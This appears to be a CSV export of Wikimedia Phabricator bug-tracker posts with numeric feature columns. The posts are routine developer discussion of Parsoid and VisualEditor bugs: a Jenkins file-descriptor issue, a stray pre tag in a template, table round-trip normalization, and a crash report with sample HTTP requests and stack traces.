220336,VisualEditor: store annotations in a document-wide index/value store and serialize as integer indexes,"Before I go breaking things, I've added tests for AnnotationSet: https://gerrit.wikimedia.org/r/54640",,,1363693508,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-e7xy2ghygeqe5vvk7vir,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.642857142857143,0.9285714285714286,"Before I go breaking things, I've added tests for AnnotationSet: GERRIT_URL"
48296,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"We have a job that sanity-checks our API server, which is a primary part of our ability to communicate with the VisualEditor. It fails because the process forks off several workers to handle requests, which sets off big red blinking alarms in Jenkins.

Do we need to add in an option to not fork? Do we need to add in some other method of doing this (like a ""start a background process"" Jenkins builder)? Or can we work around the file descriptor issue?

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://integration.mediawiki.org/ci/view/All/job/parsoid-server-sanity-check/",Needs Triage,90.0,1363637880,1375350900.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_description,declined,True,c1,1,True,False,True,-15,,1.5,0.0,0.0,0.0,0.5,4.5,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,9.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.5,0.5,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,5.0,0.5,8.5,0.5,1.0,7.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,9.5,2.0,2.0,1.5,0.0,4.0,0.0,1.5,3.0,0.0,1.0,0.0,0.0,0.0,3.7054468535166576,0.747355896351137,"We have a job that sanity-checks our API server, which is a primary part of our ability to communicate with the VisualEditor. It fails because the process forks off several workers to handle requests, which sets off big red blinking alarms in Jenkins.

Do we need to add in an option to not fork? Do we need to add in some other method of doing this (like a ""start a background process"" Jenkins builder)? Or can we work around the file descriptor issue?

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
218511,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"Job got deleted, I guess we can forget this bug for now.",,,1375350900,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2142857142857144,1.0,"Job got deleted, I guess we can forget this bug for now."
218504,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"Yeah, we disabled it because there was no point in keeping it around.

There's some hacky workaround, but it seemed really complicated and not worth the work at that time.",,,1372186269,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,2,True,,,-1,,3.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,3.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9722222222222223,0.8888888888888888,"Yeah, we disabled it because there was no point in keeping it around.

There's some hacky workaround, but it seemed really complicated and not worth the work at that time."
218497,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"The tests seem to be working now. Has this been fixed or have certain testing paths been disabled?

Is there something we can do on our end?",,,1372185965,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,2,True,,,-1,,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,10.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7096774193548385,0.9354838709677419,"The tests seem to be working now. Has this been fixed or have certain testing paths been disabled?

Is there something we can do on our end?"
218491,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"daemon seems to have broken it further, though I'm not sure why. I tried letting the server get set up, and I tried making sure my options were correct, but the parsoid server doesn't seem to like being run with daemon.",,,1363805065,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,2.0,4.0,8.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,10.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7291666666666665,0.7708333333333334,"daemon seems to have broken it further, though I'm not sure why. I tried letting the server get set up, and I tried making sure my options were correct, but the parsoid server doesn't seem to like being run with daemon."
218484,Jenkins: Parsoid server check gets killed because of Jenkins' paranoia (re: file descriptors),"The job dashboard is https://integration.mediawiki.org/ci/view/All/job/parsoid-server-sanity-check/

An example console is https://integration.mediawiki.org/ci/view/All/job/parsoid-server-sanity-check/65/console 

After the worker have been forked, Jenkins detects some file descriptor leakage and cancel the build:

Process leaked file descriptors. See http://wiki.jenkins-ci.org/display/JENKINS/Spawning+processes+from+build for more information

They point to http://software.clapper.org/daemonize/ .  But maybe we can use /usr/bin/daemon for the same effect.",,,1363803636,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2gmwjvi3zn6cswyfyegi,task_subcomment,,True,c1,1,True,,,-15,,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,19.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.7777777777777778,"The job dashboard is URL

An example console is URL 

After the worker have been forked, Jenkins detects some file descriptor leakage and cancel the build:

Process leaked file descriptors. See URL for more information

They point to URL .  But maybe we can use /usr/bin/daemon for the same effect."
47341,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Screenshot of {{disambiguation}} on [[Loco]] at en.wikipedia.org

Using {{disambiguation}} on a page and editing it with VisualEditor shows an incorrect rendering.

Attached are screenshots and dumps of the active DOM for the PHP parser and Parsoid/VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10462}",Needs Triage,90.0,1361749260,1361832255.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-mq355eomr24cmluqc7dh,task_description,resolved,True,c1,1,True,False,True,-19,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,16.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,3.951219512195122,0.5609756097560976,"Screenshot of {{disambiguation}} on [[Loco]] at en.wikipedia.org

Using {{disambiguation}} on a page and editing it with VisualEditor shows an incorrect rendering.

Attached are screenshots and dumps of the active DOM for the PHP parser and Parsoid/VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10462}"
212897,Parsoid: Incorrect rendering for [[Template:Disambiguation]],A reasonable resolution of this issue. :),,,1361832255,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,A reasonable resolution of this issue. :)
212890,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Indeed. The following edit by me fixed it for Parsoid:

https://en.wikipedia.org/w/index.php?title=Template%3ADmbox&diff=540384230&oldid=466538335

Seems like a reasonable change to make. Not sure how common this is but I think in most cases editors will understand as in most cases this is already how it is. Leading space after a line break causes a <pre>. The reason the line break is there is probably by mistake, and nothing broke so it was forgotten/left.

Lets hope it is not too common.",,,1361831946,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,10.0,10.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,5.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,8.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,10.0,1.0,0.0,0.0,0.0,7.0,0.0,2.0,3.0,1.0,1.0,0.0,2.0,3.0,3.630434782608696,0.7065217391304348,"Indeed. The following edit by me fixed it for Parsoid:

URL

Seems like a reasonable change to make. Not sure how common this is but I think in most cases editors will understand as in most cases this is already how it is. Leading space after a line break causes a <pre>. The reason the line break is there is probably by mistake, and nothing broke so it was forgotten/left.

Lets hope it is not too common."
212883,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"This can be narrowed down to the difference between these two table cells.  Look at PHP parser output for these two tds in the table:

<table>
<tr>
<td>
  a</td>
<td>
 b
</td>
</tr>
</table>

""a"" is not wrapped in a pre-tag, but ""b"" is.  

http://www.mediawiki.org/wiki/User:Ssastry/Tests:Odd_pre_in_td_behavior

Parsoid wraps both in a pre-tag which is the reason why Parsoid output is different from PHP output.  This seems a PHP parser bug to me, not a Parsoid bug.  I imagine we want to be bug-to-bug compatible, but I am not sure what the correct behavior for this is.",,,1361826274,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,1.0,2.0,2.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,2.5,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,6.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,15.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.5,5.5,5.0,7.5,0.5,2.0,9.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,2.5,7.5,5.5,0.0,2.5,0.0,2.5,0.0,2.0,3.0,0.5,0.0,0.0,0.0,9.5,2.8904109589041096,0.6232876712328768,"This can be narrowed down to the difference between these two table cells.  Look at PHP parser output for these two tds in the table:

<table>
<tr>
<td>
  a</td>
<td>
 b
</td>
</tr>
</table>

""a"" is not wrapped in a pre-tag, but ""b"" is.  

URL

Parsoid wraps both in a pre-tag which is the reason why Parsoid output is different from PHP output.  This seems a PHP parser bug to me, not a Parsoid bug.  I imagine we want to be bug-to-bug compatible, but I am not sure what the correct behavior for this is."
212875,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"This might be a bug in https://gerrit.wikimedia.org/r/#/c/32405/ or a regression.  The <pre> is coming from an #if parser function which should not have as per that commit message.

Will investigate.",,,1361822814,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-18,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,5.0,11.0,3.0,3.0,18.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,5.0,3.5,0.9210526315789473,"This might be a bug in URL or a regression.  The <pre> is coming from an #if parser function which should not have as per that commit message.

Will investigate."
212867,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Created attachment 11841
HTML of {{disambiguation}} from Parsoid

The main problem is the presence of a <pre> that shouldn't be there.

**Attached**: {F10465}",,,1361749531,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,3.3902439024390243,0.7804878048780488,"Created attachment 11841
HTML of {{disambiguation}} from Parsoid

The main problem is the presence of a <pre> that shouldn't be there.

**Attached**: {F10465}"
212862,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Created attachment 11840
Screenshot of {{disambiguation}} from Parsoid

**Attached**: {F10464}",,,1361749431,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.782608695652174,0.6956521739130435,"Created attachment 11840
Screenshot of {{disambiguation}} from Parsoid

**Attached**: {F10464}"
212856,Parsoid: Incorrect rendering for [[Template:Disambiguation]],"Created attachment 11839
HTML of {{disambiguation}} on [[Loco]] at en.wikipedia.org

**Attached**: {F10463}",,,1361749373,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mq355eomr24cmluqc7dh,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.3793103448275863,0.6896551724137931,"Created attachment 11839
HTML of {{disambiguation}} on [[Loco]] at en.wikipedia.org

**Attached**: {F10463}"
47024,Parsoid: Tables don't round-trip cleanly,"See http://parsoid.wmflabs.org/_rt/mw/VisualEditor/Node_types for example. (This URL currently doesn't work because the /mw prefix disappeared in a recent change.)

* border=""1"" is normalized to border=1, but only in the table's attributes, not in the rows' attributes
* | rowspan=""3"" is normalized to |rowspan=""3""

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1360879800,1360889187.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-2lufxleaemvynes2b2da,task_description,declined,True,c1,1,False,False,True,-20,,0.0,0.0,0.0,3.0,3.0,4.0,0.0,1.0,0.0,0.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9594594594594597,0.6486486486486487,"See URL for example. (This URL currently doesn't work because the /mw prefix disappeared in a recent change.)

* border=""1"" is normalized to border=1, but only in the table's attributes, not in the rows' attributes
* | rowspan=""3"" is normalized to |rowspan=""3""

--------------------------
**Version**: unspecified
**Severity**: normal"
219694,Parsoid: Tables don't round-trip cleanly,"The first normalization is actually the other way around: border=1 is normalized to border=""1"".

This is the expected degree of normalization for non-selective serialization, so closing as wontfix. Selective serialization is becoming smarter, and will soon only normalize a table cell or even only a part of a table cell's content, which will hide this issue normally.",,,1360889187,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2lufxleaemvynes2b2da,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,1.0,0.0,12.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,4.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,1.0,0.0,0.0,4.536231884057971,0.7536231884057971,"The first normalization is actually the other way around: border=1 is normalized to border=""1"".

This is the expected degree of normalization for non-selective serialization, so closing as wontfix. Selective serialization is becoming smarter, and will soon only normalize a table cell or even only a part of a table cell's content, which will hide this issue normally."
46969,Parsoid crashes when serializing page with colon in title,"Send a POST request with any content at all to a Parsoid URL containing a colon, and you'll get strange crashes. Strangely, the behavior differs between localhost and enwiki:

POST /localhost/VisualEditor%3AMetastuff HTTP/1.0
Host: localhost:8000
Content-Length: 3

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 66
Connection: close

ParserError: Failed to parse the JSON response for Page Fetch null

(Note that I didn't even get a chance to send the POST body, the 500 occurs as soon as I send the double newline that terminates the request header.)

For this case, the Parsoid log shows:
ParserError: Failed to parse the JSON response for Page Fetch null
worker 10132 died, restarting.


POST /en/Talk%3AWQKO HTTP/1.0
Host: localhost:8000
Content-Length: 3

Foo

[Parsoid closes the connection without sending anything]

Parsoid log:
There was an error in the HTML5 parser! Sending it back to the editor.
Error: No source to parse
    at EventEmitter.parse (/var/lib/parsoid/Parsoid/js/node_modules/html5/lib/html5/parser.js:44:20)
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:579:6
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:284:4
    at /var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:185:3
    at [object Object].<anonymous> (/var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:209:4)
    at Array.1 (/var/lib/parsoid/Parsoid/js/lib/mediawiki.ApiRequest.js:60:4)
    at EventEmitter._tickCallback (node.js:192:40)
TypeError: Cannot read property 'childNodes' of undefined
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:597:34
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:284:4
    at /var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:185:3
    at [object Object].<anonymous> (/var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:209:4)
    at Array.1 (/var/lib/parsoid/Parsoid/js/lib/mediawiki.ApiRequest.js:60:4)
    at EventEmitter._tickCallback (node.js:192:40)

--------------------------
**Version**: unspecified
**Severity**: critical",Needs Triage,90.0,1360784520,1360785028.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-xtyrp3i5752jen7uoe6m,task_description,invalid,True,c1,1,False,False,True,-20,,0.4,0.2,0.0,0.0,0.4,1.4,0.0,0.0,0.0,0.0,0.6,0.8,0.0,0.0,0.2,0.4,0.4,2.2,6.2,0.2,0.8,0.0,0.2,0.4,0.6,0.0,0.0,0.0,0.2,0.2,0.2,1.2,0.4,0.2,0.4,0.2,0.0,0.0,0.2,0.4,0.2,0.0,0.0,0.8,0.0,0.0,0.0,0.2,0.2,8.4,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.2,0.2,0.4,0.0,0.0,0.0,0.2,0.0,3.2,0.2,16.6,0.2,0.4,3.8,0.0,0.0,0.2,0.0,2.4,0.0,1.4,0.0,0.8,6.2,24.8,0.0,0.4,0.0,0.8,0.0,0.2,1.0,0.0,0.8,0.0,0.0,1.2,4.266005733397038,0.5233635929288103,"Send a POST request with any content at all to a Parsoid URL containing a colon, and you'll get strange crashes. Strangely, the behavior differs between localhost and enwiki:

POST /localhost/VisualEditor%3AMetastuff HTTP/1.0
Host: localhost:8000
Content-Length: 3

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 66
Connection: close

ParserError: Failed to parse the JSON response for Page Fetch null

(Note that I didn't even get a chance to send the POST body, the 500 occurs as soon as I send the double newline that terminates the request header.)

For this case, the Parsoid log shows:
ParserError: Failed to parse the JSON response for Page Fetch null
worker 10132 died, restarting.


POST /en/Talk%3AWQKO HTTP/1.0
Host: localhost:8000
Content-Length: 3

Foo

[Parsoid closes the connection without sending anything]

Parsoid log:
There was an error in the HTML5 parser! Sending it back to the editor.
Error: No source to parse
    at EventEmitter.parse (/var/lib/parsoid/Parsoid/js/node_modules/html5/lib/html5/parser.js:44:20)
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:579:6
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:284:4
    at /var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:185:3
    at [object Object].<anonymous> (/var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:209:4)
    at Array.1 (/var/lib/parsoid/Parsoid/js/lib/mediawiki.ApiRequest.js:60:4)
    at EventEmitter._tickCallback (node.js:192:40)
TypeError: Cannot read property 'childNodes' of undefined
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:597:34
    at /var/lib/parsoid/Parsoid/js/api/ParserService.js:284:4
    at /var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:185:3
    at [object Object].<anonymous> (/var/lib/parsoid/Parsoid/js/lib/mediawiki.parser.environment.js:209:4)
    at Array.1 (/var/lib/parsoid/Parsoid/js/lib/mediawiki.ApiRequest.js:60:4)
    at EventEmitter._tickCallback (node.js:192:40)

--------------------------
**Version**: unspecified
**Severity**: critical"
